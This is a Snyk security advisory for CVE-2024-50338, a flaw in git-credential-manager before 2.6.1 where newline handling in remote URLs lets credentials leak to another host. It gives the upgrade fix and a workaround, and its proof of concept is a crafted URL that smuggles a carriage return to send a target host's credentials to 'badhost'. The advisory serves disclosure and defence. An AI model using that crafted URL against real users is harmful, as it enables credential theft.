Interpretation Conflict Affecting git-credential-manager package, versions [,2.6.1)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-DOTNET-GITCREDENTIALMANAGER-8623535
  • published15 Jan 2025
  • disclosed14 Jan 2025
  • creditUnknown

Introduced: 14 Jan 2025

NewCVE-2024-50338  (opens in a new tab)
CWE-436  (opens in a new tab)

How to fix?

Upgrade git-credential-manager to version 2.6.1 or higher.

Overview

Affected versions of this package are vulnerable to Interpretation Conflict due to improper handling of newline characters in remote URLs. An attacker can capture credentials for another Git remote by crafting a malicious URL that manipulates newline interpretations between Git and the Git Credential Manager.

Workaround

Only interact with trusted remote repositories, and do not clone with --recursive to allow inspection of any submodule URLs before cloning those submodules.

PoC

https://\rhost=targethost@badhost

CVSS Scores

version 4.0
version 3.1